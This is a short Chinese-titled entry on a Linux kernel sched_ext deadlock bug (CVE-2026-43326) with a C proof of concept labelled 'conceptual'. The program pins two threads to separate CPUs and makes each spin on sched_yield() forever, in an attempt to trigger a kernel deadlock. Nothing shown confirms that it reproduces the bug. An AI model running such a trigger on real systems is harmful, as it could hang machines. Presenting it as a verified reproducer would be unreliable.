CVE-2026-43326 Linux内核sched_ext死锁漏洞

/* * PoC for CVE-2026-43326 (Conceptual) * This code attempts to trigger the sched_ext deadlock by creating * threads that bind to specific CPUs and induce heavy scheduling operations. * Requires a kernel with sched_ext enabled and vulnerable version. */ #include <stdio.h> #include <pthread.h> #include <unistd.h> #include <sched.h> void* worker(void* arg) { int cpu = *(int*)arg; cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(cpu, &cpuset); pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset); // Heavy loop to induce scheduling kicks while(1) { sched_yield(); } return NULL; } int main() { pthread_t t1, t2; int cpu0 = 0, cpu1 = 1; // Create threads on different CPUs to potentially trigger cross-CPU kicks pthread_create(&t1, NULL, worker, &cpu0); pthread_create(&t2, NULL, worker, &cpu1); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }